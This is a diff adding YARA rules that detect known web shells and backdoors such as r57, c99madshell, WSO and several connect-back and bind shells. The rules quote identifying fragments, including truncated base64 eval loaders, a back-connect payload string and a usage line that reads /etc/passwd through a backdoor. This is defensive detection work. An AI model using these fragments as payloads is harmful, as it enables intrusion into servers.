+		$s2 = "/* connectback-backdoor on perl"
+		$s3 = "<form action=<?=$script?>?act=bindshell method=POST>"
+		$s4 = "$logo = \"R0lGODlhMAAwAOYAAAAAAP////r"
+	condition:
+		1 of them
+}
+rule jsp_reverse_jsp {
+	meta:
+		description = "Semi-Auto-generated  - file jsp-reverse.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8b0e6779f25a17f0ffb3df14122ba594"
+	strings:
+		$s0 = "// backdoor.jsp"
+		$s1 = "JSP Backdoor Reverse Shell"
+		$s2 = "http://michaeldaw.org"
+	condition:
+		2 of them
+}
+rule Tool_asp {
+	meta:
+		description = "Semi-Auto-generated  - file Tool.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8febea6ca6051ae5e2ad4c78f4b9c1f2"
+	strings:
+		$s0 = "mailto:rhfactor@antisocial.com"
+		$s2 = "?raiz=root"
+		$s3 = "DIGO CORROMPIDO<BR>CORRUPT CODE"
+		$s4 = "key = \"5DCADAC1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E53205CA0"
+	condition:
+		2 of them
+}
+rule NT_Addy_asp {
+	meta:
+		description = "Semi-Auto-generated  - file NT Addy.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "2e0d1bae844c9a8e6e351297d77a1fec"
+	strings:
+		$s0 = "NTDaddy v1.9 by obzerve of fux0r inc"
+		$s2 = "<ERROR: THIS IS NOT A TEXT FILE>"
+		$s4 = "RAW D.O.S. COMMAND INTERFACE"
+	condition:
+		1 of them
+}
+rule SimAttacker___Vrsion_1_0_0___priv8_4_My_friend_php {
+	meta:
+		description = "Semi-Auto-generated  - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "089ff24d978aeff2b4b2869f0c7d38a3"
+	strings:
+		$s0 = "SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend"
+		$s3 = " fputs ($fp ,\"\\n*********************************************\\nWelcome T0 Sim"
+		$s4 = "echo \"<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decora"
+	condition:
+		1 of them
+}
+rule RemExp_asp {
+	meta:
+		description = "Semi-Auto-generated  - file RemExp.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "aa1d8491f4e2894dbdb91eec1abc2244"
+	strings:
+		$s0 = "<title>Remote Explorer</title>"
+		$s3 = " FSO.CopyFile Request.QueryString(\"FolderPath\") & Request.QueryString(\"CopyFi"
+		$s4 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f"
+	condition:
+		2 of them
+}
+rule phvayvv_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file phvayvv.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "35fb37f3c806718545d97c6559abd262"
+	strings:
+		$s0 = "{mkdir(\"$dizin/$duzenx2\",777)"
+		$s1 = "$baglan=fopen($duzkaydet,'w');"
+		$s2 = "PHVayv 1.0"
+	condition:
+		1 of them
+}
+rule klasvayv_asp {
+	meta:
+		description = "Semi-Auto-generated  - file klasvayv.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "2b3e64bf8462fc3d008a3d1012da64ef"
+	strings:
+		$s1 = "set aktifklas=request.querystring(\"aktifklas\")"
+		$s2 = "action=\"klasvayv.asp?klasorac=1&aktifklas=<%=aktifklas%>&klas=<%=aktifklas%>"
+		$s3 = "<font color=\"#858585\">www.aventgrup.net"
+		$s4 = "style=\"BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT"
+	condition:
+		1 of them
+}
+rule r57shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file r57shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d28445de424594a5f14d0fe2a7c4e94f"
+	strings:
+		$s1 = " else if ($HTTP_POST_VARS['with'] == \"lynx\") { $HTTP_POST_VARS['cmd']= \"lynx "
+		$s2 = "RusH security team"
+		$s3 = "'ru_text12' => 'back-connect"
+	condition:
+		1 of them
+}
+rule rst_sql_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file rst_sql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0961641a4ab2b8cb4d2beca593a92010"
+	strings:
+		$s0 = "C:\\tmp\\dump_"
+		$s1 = "RST MySQL"
+		$s2 = "http://rst.void.ru"
+		$s3 = "$st_form_bg='R0lGODlhCQAJAIAAAOfo6u7w8yH5BAAAAAAALAAAAAAJAAkAAAIPjAOnuJfNHJh0qtfw0lcVADs=';"
+	condition:
+		2 of them
+}
+rule wh_bindshell_py {
+	meta:
+		description = "Semi-Auto-generated  - file wh_bindshell.py.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "fab20902862736e24aaae275af5e049c"
+	strings:
+		$s0 = "#Use: python wh_bindshell.py [port] [password]"
+		$s2 = "python -c\"import md5;x=md5.new('you_password');print x.hexdigest()\"" fullword
+		$s3 = "#bugz: ctrl+c etc =script stoped=" fullword
+	condition:
+		1 of them
+}
+rule lurm_safemod_on_cgi {
+	meta:
+		description = "Semi-Auto-generated  - file lurm_safemod_on.cgi.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5ea4f901ce1abdf20870c214b3231db3"
+	strings:
+		$s0 = "Network security team :: CGI Shell" fullword
+		$s1 = "#########################<<KONEC>>#####################################" fullword
+		$s2 = "##if (!defined$param{pwd}){$param{pwd}='Enter_Password'};##" fullword
+	condition:
+		1 of them
+}
+rule c99madshell_v2_0_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file c99madshell_v2.0.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d27292895da9afa5b60b9d3014f39294"
+	strings:
+		$s2 = "eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXef"
+	condition:
+		all of them
+}
+rule backupsql_php_often_with_c99shell {
+	meta:
+		description = "Semi-Auto-generated  - file backupsql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "ab1a06ab1a1fe94e3f3b7f80eedbc12f"
+	strings:
+		$s2 = "//$message.= \"--{$mime_boundary}\\n\" .\"Content-Type: {$fileatt_type};\\n\" ."
+		$s4 = "$ftpconnect = \"ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog"
+	condition:
+		all of them
+}
+rule uploader_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file uploader.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0b53b67bb3b004a8681e1458dd1895d0"
+	strings:
+		$s2 = "move_uploaded_file($userfile, \"entrika.php\"); " fullword
+		$s3 = "Send this file: <INPUT NAME=\"userfile\" TYPE=\"file\">" fullword
+		$s4 = "<INPUT TYPE=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000\">" fullword
+	condition:
+		2 of them
+}
+rule telnet_pl {
+	meta:
+		description = "Semi-Auto-generated  - file telnet.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "dd9dba14383064e219e29396e242c1ec"
+	strings:
+		$s0 = "W A R N I N G: Private Server"
+		$s2 = "$Message = q$<pre><font color=\"#669999\"> _____  _____  _____          _____   "
+	condition:
+		all of them
+}
+rule w3d_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file w3d.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "987f66b29bfb209a0b4f097f84f57c3b"
+	strings:
+		$s0 = "W3D Shell"
+		$s1 = "By: Warpboy"
+		$s2 = "No Query Executed"
+	condition:
+		2 of them
+}
+rule WebShell_cgi {
+	meta:
+		description = "Semi-Auto-generated  - file WebShell.cgi.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "bc486c2e00b5fc3e4e783557a2441e6f"
+	strings:
+		$s0 = "WebShell.cgi"
+		$s2 = "<td><code class=\"entry-[% if entry.all_rights %]mine[% else"
+	condition:
+		all of them
+}
+rule WinX_Shell_html {
+	meta:
+		description = "Semi-Auto-generated  - file WinX Shell.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "17ab5086aef89d4951fe9b7c7a561dda"
+	strings:
+		$s0 = "WinX Shell"
+		$s1 = "Created by greenwood from n57"
+		$s2 = "<td><font color=\\\"#990000\\\">Win Dir:</font></td>"
+	condition:
+		2 of them
+}
+rule Dx_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Dx.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "9cfe372d49fe8bf2fac8e1c534153d9b"
+	strings:
+		$s0 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
+		$s2 = "$DEF_PORTS=array (1=>'tcpmux (TCP Port Service Multiplexer)',2=>'Management Util"
+		$s3 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERVER['HTTP"
+	condition:
+		1 of them
+}
+rule csh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file csh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "194a9d3f3eac8bc56d9a7c55c016af96"
+	strings:
+		$s0 = ".::[c0derz]::. web-shell"
+		$s1 = "http://c0derz.org.ua"
+		$s2 = "vint21h@c0derz.org.ua"
+		$s3 = "$name='63a9f0ea7bb98050796b649e85481845';//root"
+	condition:
+		1 of them
+}
+rule pHpINJ_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file pHpINJ.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d7a4b0df45d34888d5a09f745e85733f"
+	strings:
+		$s1 = "News Remote PHP Shell Injection"
+		$s3 = "Php Shell <br />" fullword
+		$s4 = "<input type = \"text\" name = \"url\" value = \""
+	condition:
+		2 of them
+}
+rule sig_2008_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file 2008.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "3e4ba470d4c38765e4b16ed930facf2c"
+	strings:
+		$s0 = "Codz by angel(4ngel)"
+		$s1 = "Web: http://www.4ngel.net"
+		$s2 = "$admin['cookielife'] = 86400;"
+		$s3 = "$errmsg = 'The file you want Downloadable was nonexistent';"
+	condition:
+		1 of them
+}
+rule ak74shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file ak74shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "7f83adcb4c1111653d30c6427a94f66f"
+	strings:
+		$s1 = "$res .= '<td align=\"center\"><a href=\"'.$xshell.'?act=chmod&file='.$_SESSION["
+		$s2 = "AK-74 Security Team Web Site: www.ak74-team.net"
+		$s3 = "$xshell"
+	condition:
+		2 of them
+}
+rule Rem_View_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Rem View.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "29420106d9a81553ef0d1ca72b9934d9"
+	strings:
+		$s0 = "$php=\"/* line 1 */\\n\\n// \".mm(\"for example, uncomment next line\").\""
+		$s2 = "<input type=submit value='\".mm(\"Delete all dir/files recursive\").\" (rm -fr)'"
+		$s4 ="Welcome to phpRemoteView (RemView)"
+	condition:
+		1 of them
+}
+rule Java_Shell_js {
+	meta:
+		description = "Semi-Auto-generated  - file Java Shell.js.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "36403bc776eb12e8b7cc0eb47c8aac83"
+	strings:
+		$s2 = "PySystemState.initialize(System.getProperties(), null, argv);" fullword
+		$s3 = "public class JythonShell extends JPanel implements Runnable {" fullword
+		$s4 = "public static int DEFAULT_SCROLLBACK = 100"
+	condition:
+		2 of them
+}
+rule STNC_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file STNC.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "2e56cfd5b5014cbbf1c1e3f082531815"
+	strings:
+		$s0 = "drmist.ru" fullword
+		$s1 = "hidden(\"action\",\"download\").hidden_pwd().\"<center><table><tr><td width=80"
+		$s2 = "STNC WebShell"
+		$s3 = "http://www.security-teams.net/index.php?showtopic="
+	condition:
+		1 of them
+}
+rule aZRaiLPhp_v1_0_php {
+	meta:
+		description = "Semi-Auto-generated  - file aZRaiLPhp v1.0.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "26b2d3943395682e36da06ed493a3715"
+	strings:
+		$s0 = "azrailphp"
+		$s1 = "<br><center><INPUT TYPE='SUBMIT' NAME='dy' VALUE='Dosya Yolla!'></center>"
+		$s3 = "<center><INPUT TYPE='submit' name='okmf' value='TAMAM'></center>"
+	condition:
+		2 of them
+}
+rule Moroccan_Spamers_Ma_EditioN_By_GhOsT_php {
+	meta:
+		description = "Semi-Auto-generated  - file Moroccan Spamers Ma-EditioN By GhOsT.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d1b7b311a7ffffebf51437d7cd97dc65"
+	strings:
+		$s0 = ";$sd98=\"john.barker446@gmail.com\""
+		$s1 = "print \"Sending mail to $to....... \";"
+		$s2 = "<td colspan=\"2\" width=\"715\" background=\"/simparts/images/cellpic1.gif\" hei"
+	condition:
+		1 of them
+}
+rule zacosmall_php {
+	meta:
+		description = "Semi-Auto-generated  - file zacosmall.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5295ee8dc2f5fd416be442548d68f7a6"
+	strings:
+		$s0 = "rand(1,99999);$sj98"
+		$s1 = "$dump_file.='`'.$rows2[0].'`"
+		$s3 = "filename=\\\"dump_{$db_dump}_${table_d"
+	condition:
+		2 of them
+}
+rule CmdAsp_asp {
+	meta:
+		description = "Semi-Auto-generated  - file CmdAsp.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "64f24f09ec6efaa904e2492dffc518b9"
+	strings:
+		$s0 = "CmdAsp.asp"
+		$s1 = "Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")" fullword
+		$s2 = "-- Use a poor man's pipe ... a temp file --"
+		$s3 = "maceo @ dogmile.com"
+	condition:
+		2 of them
+}
+rule simple_backdoor_php {
+	meta:
+		description = "Semi-Auto-generated  - file simple-backdoor.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "f091d1b9274c881f8e41b2f96e6b9936"
+	strings:
+		$s0 = "$cmd = ($_REQUEST['cmd']);" fullword
+		$s1 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->"
+		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
+	condition:
+		2 of them
+}
+rule mysql_shell_php {
+	meta:
+		description = "Semi-Auto-generated  - file mysql_shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d42aec2891214cace99b3eb9f3e21a63"
+	strings:
+		$s0 = "SooMin Kim"
+		$s1 = "smkim@popeye.snu.ac.kr"
+		$s2 = "echo \"<td><a href='$PHP_SELF?action=deleteData&dbname=$dbname&tablename=$tablen"
+	condition:
+		1 of them
+}
+rule Dive_Shell_1_0___Emperor_Hacking_Team_php {
+	meta:
+		description = "Semi-Auto-generated  - file Dive Shell 1.0 - Emperor Hacking Team.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "1b5102bdc41a7bc439eea8f0010310a5"
+	strings:
+		$s0 = "Emperor Hacking TEAM"
+		$s1 = "Simshell" fullword
+		$s2 = "ereg('^[[:blank:]]*cd[[:blank:]]"
+		$s3 = "<form name=\"shell\" action=\"<?php echo $_SERVER['PHP_SELF'] ?>\" method=\"POST"
+	condition:
+		2 of them
+}
+rule Asmodeus_v0_1_pl {
+	meta:
+		description = "Semi-Auto-generated  - file Asmodeus v0.1.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0978b672db0657103c79505df69cb4bb"
+	strings:
+		$s0 = "[url=http://www.governmentsecurity.org"
+		$s1 = "perl asmodeus.pl client 6666 127.0.0.1"
+		$s2 = "print \"Asmodeus Perl Remote Shell"
+		$s4 = "$internet_addr = inet_aton(\"$host\") or die \"ALOA:$!\\n\";" fullword
+	condition:
+		2 of them
+}
+rule backup_php_often_with_c99shell {
+	meta:
+		description = "Semi-Auto-generated  - file backup.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "aeee3bae226ad57baf4be8745c3f6094"
+	strings:
+		$s0 = "#phpMyAdmin MySQL-Dump" fullword
+		$s2 = ";db_connect();header('Content-Type: application/octetstr"
+		$s4 = "$data .= \"#Database: $database" fullword
+	condition:
+		all of them
+}
+rule Reader_asp {
+	meta:
+		description = "Semi-Auto-generated  - file Reader.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "ad1a362e0a24c4475335e3e891a01731"
+	strings:
+		$s1 = "Mehdi & HolyDemon"
+		$s2 = "www.infilak."
+		$s3 = "'*T@*r@#@&mms^PdbYbVuBcAAA==^#~@%><form method=post name=inf><table width=\"75%"
+	condition:
+		2 of them
+}
+rule phpshell17_php {
+	meta:
+		description = "Semi-Auto-generated  - file phpshell17.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "9a928d741d12ea08a624ee9ed5a8c39d"
+	strings:
+		$s0 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p>" fullword
+		$s1 = "<title>[ADDITINAL TITTLE]-phpShell by:[YOURNAME]<?php echo PHPSHELL_VERSION ?></"
+		$s2 = "href=\"mailto: [YOU CAN ENTER YOUR MAIL HERE]- [ADDITIONAL TEXT]</a></i>" fullword
+	condition:
+		1 of them
+}
+rule myshell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file myshell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "62783d1db52d05b1b6ae2403a7044490"
+	strings:
+		$s0 = "@chdir($work_dir) or ($shellOutput = \"MyShell: can't change directory."
+		$s1 = "echo \"<font color=$linkColor><b>MyShell file editor</font> File:<font color"
+		$s2 = " $fileEditInfo = \"&nbsp;&nbsp;:::::::&nbsp;&nbsp;Owner: <font color=$"
+	condition:
+		2 of them
+}
+rule SimShell_1_0___Simorgh_Security_MGZ_php {
+	meta:
+		description = "Semi-Auto-generated  - file SimShell 1.0 - Simorgh Security MGZ.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "37cb1db26b1b0161a4bf678a6b4565bd"
+	strings:
+		$s0 = "Simorgh Security Magazine "
+		$s1 = "Simshell.css"
+		$s2 = "} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], "
+		$s3 = "www.simorgh-ev.com"
+	condition:
+		2 of them
+}
+rule jspshall_jsp {
+	meta:
+		description = "Semi-Auto-generated  - file jspshall.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "efe0f6edaa512c4e1fdca4eeda77b7ee"
+	strings:
+		$s0 = "kj021320"
+		$s1 = "case 'T':systemTools(out);break;"
+		$s2 = "out.println(\"<tr><td>\"+ico(50)+f[i].getName()+\"</td><td> file"
+	condition:
+		2 of them
+}
+rule webshell_php {
+	meta:
+		description = "Semi-Auto-generated  - file webshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "e425241b928e992bde43dd65180a4894"
+	strings:
+		$s2 = "<die(\"Couldn't Read directory, Blocked!!!\");"
+		$s3 = "PHP Web Shell"
+	condition:
+		all of them
+}
+rule rootshell_php {
+	meta:
+		description = "Semi-Auto-generated  - file rootshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "265f3319075536030e59ba2f9ef3eac6"
+	strings:
+		$s0 = "shells.dl.am"
+		$s1 = "This server has been infected by $owner"
+		$s2 = "<input type=\"submit\" value=\"Include!\" name=\"inc\"></p>"
+		$s4 = "Could not write to file! (Maybe you didn't enter any text?)"
+	condition:
+		2 of them
+}
+rule connectback2_pl {
+	meta:
+		description = "Semi-Auto-generated  - file connectback2.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "473b7d226ea6ebaacc24504bd740822e"
+	strings:
+		$s0 = "#We Are: MasterKid, AleXutz, FatMan & MiKuTuL                                   "
+		$s1 = "echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shel"
+		$s2 = "ConnectBack Backdoor"
+	condition:
+		1 of them
+}
+rule DefaceKeeper_0_2_php {
+	meta:
+		description = "Semi-Auto-generated  - file DefaceKeeper_0.2.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "713c54c3da3031bc614a8a55dccd7e7f"
+	strings:
+		$s0 = "target fi1e:<br><input type=\"text\" name=\"target\" value=\"index.php\"></br>" fullword
+		$s1 = "eval(base64_decode(\"ZXZhbChiYXNlNjRfZGVjb2RlKCJhV2R1YjNKbFgzVnpaWEpmWVdKdmNuUW9"
+		$s2 = "<img src=\"http://s43.radikal.ru/i101/1004/d8/ced1f6b2f5a9.png\" align=\"center"
+	condition:
+		1 of them
+}
+rule shells_PHP_wso {
+	meta:
+		description = "Semi-Auto-generated  - file wso.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "33e2891c13b78328da9062fbfcf898b6"
+	strings:
+		$s0 = "$back_connect_p=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbi"
+		$s3 = "echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=pos"
+	condition:
+		1 of them
+}
+rule backdoor1_php {
+	meta:
+		description = "Semi-Auto-generated  - file backdoor1.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "e1adda1f866367f52de001257b4d6c98"
+	strings:
+		$s1 = "echo \"[DIR] <A HREF=\\\"\".$_SERVER['PHP_SELF'].\"?rep=\".realpath($rep.\".."
+		$s2 = "class backdoor {"
+		$s4 = "echo \"<a href=\\\"\".$_SERVER['PHP_SELF'].\"?copy=1\\\">Copier un fichier</a> <"
+	condition:
+		1 of them
+}
+rule elmaliseker_asp {
+	meta:
+		description = "Semi-Auto-generated  - file elmaliseker.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b32d1730d23a660fd6aa8e60c3dc549f"
+	strings:
+		$s0 = "if Int((1-0+1)*Rnd+0)=0 then makeEmail=makeText(8) & \"@\" & makeText(8) & \".\""
+		$s1 = "<form name=frmCMD method=post action=\"<%=gURL%>\">"
+		$s2 = "dim zombie_array,special_array"
+		$s3 = "http://vnhacker.org"
+	condition:
+		1 of them
+}
+rule indexer_asp {
+	meta:
+		description = "Semi-Auto-generated  - file indexer.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "9ea82afb8c7070817d4cdf686abe0300"
+	strings:
+		$s0 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input typ"
+		$s2 = "D7nD7l.km4snk`JzKnd{n_ejq;bd{KbPur#kQ8AAA==^#~@%>></td><td><input type=\"submit"
+	condition:
+		1 of them
+}
+rule DxShell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file DxShell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "33a2b31810178f4c2e71fbdeb4899244"
+	strings:
+		$s0 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
+		$s2 = "print \"\\n\".'<tr><td width=100pt class=linelisting><nobr>POST (php eval)</td><"
+	condition:
+		1 of them
+}
+rule s72_Shell_v1_1_Coding_html {
+	meta:
+		description = "Semi-Auto-generated  - file s72 Shell v1.1 Coding.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "c2e8346a5515c81797af36e7e4a3828e"
+	strings:
+		$s0 = "Dizin</font></b></font><font face=\"Verdana\" style=\"font-size: 8pt\"><"
+		$s1 = "s72 Shell v1.0 Codinf by Cr@zy_King"
+		$s3 = "echo \"<p align=center>Dosya Zaten Bulunuyor</p>\""
+	condition:
+		1 of them
+}
+rule hidshell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file hidshell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "c2f3327d60884561970c63ffa09439a4"
+	strings:
+		$s0 = "<?$d='G7mHWQ9vvXiL/QX2oZ2VTDpo6g3FYAa6X+8DMIzcD0eHZaBZH7jFpZzUz7XNenxSYvBP2Wy36U"
+	condition:
+		all of them
+}
+rule kacak_asp {
+	meta:
+		description = "Semi-Auto-generated  - file kacak.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "907d95d46785db21331a0324972dda8c"
+	strings:
+		$s0 = "Kacak FSO 1.0"
+		$s1 = "if request.querystring(\"TGH\") = \"1\" then"
+		$s3 = "<font color=\"#858585\">BuqX</font></a></font><font face=\"Verdana\" style="
+		$s4 = "mailto:BuqX@hotmail.com"
+	condition:
+		1 of them
+}
+rule PHP_Backdoor_Connect_pl_php {
+	meta:
+		description = "Semi-Auto-generated  - file PHP Backdoor Connect.pl.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "57fcd9560dac244aeaf95fd606621900"
+	strings:
+		$s0 = "LorD of IRAN HACKERS SABOTAGE"
+		$s1 = "LorD-C0d3r-NT"
+		$s2 = "echo --==Userinfo==-- ;"
+	condition:
+		1 of them
+}
+rule Antichat_Socks5_Server_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Antichat Socks5 Server.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "cbe9eafbc4d86842a61a54d98e5b61f1"
+	strings:
+		$s0 = "$port = base_convert(bin2hex(substr($reqmessage[$id], 3+$reqlen+1, 2)), 16, 10);" fullword
+		$s3 = "#   [+] Domain name address type"
+		$s4 = "www.antichat.ru"
+	condition:
+		1 of them
+}
+rule Antichat_Shell_v1_3_php {
+	meta:
+		description = "Semi-Auto-generated  - file Antichat Shell v1.3.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "40d0abceba125868be7f3f990f031521"
+	strings:
+		$s0 = "Antichat"
+		$s1 = "Can't open file, permission denide"
+		$s2 = "$ra44"
+	condition:
+		2 of them
+}
+rule Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2_php {
+	meta:
+		description = "Semi-Auto-generated  - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "49ad9117c96419c35987aaa7e2230f63"
+	strings:
+		$s0 = "Welcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy"
+		$s1 = "Mode Shell v1.0</font></span>"
+		$s2 = "has been already loaded. PHP Emperor <xb5@hotmail."
+	condition:
+		1 of them
+}
+rule mysql_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file mysql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "12bbdf6ef403720442a47a3cc730d034"
+	strings:
+		$s0 = "action=mysqlread&mass=loadmass\">load all defaults"
+		$s2 = "if (@passthru($cmd)) { echo \" -->\"; $this->output_state(1, \"passthru"
+		$s3 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = "
+	condition:
+		1 of them
+}
+rule Worse_Linux_Shell_php {
+	meta:
+		description = "Semi-Auto-generated  - file Worse Linux Shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8338c8d9eab10bd38a7116eb534b5fa2"
+	strings:
+		$s1 = "print \"<tr><td><b>Server is:</b></td><td>\".$_SERVER['SERVER_SIGNATURE'].\"</td"
+		$s2 = "print \"<tr><td><b>Execute command:</b></td><td><input size=100 name=\\\"_cmd"
+	condition:
+		1 of them
+}
+rule cyberlords_sql_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file cyberlords_sql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "03b06b4183cb9947ccda2c3d636406d4"
+	strings:
+		$s0 = "Coded by n0 [nZer0]"
+		$s1 = " www.cyberlords.net"
+		$s2 = "U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAMUExURf///wAAAJmZzAAAACJoURkAAAAE"
+		$s3 = "return \"<BR>Dump error! Can't write to \".htmlspecialchars($file);"
+	condition:
+		1 of them
+}
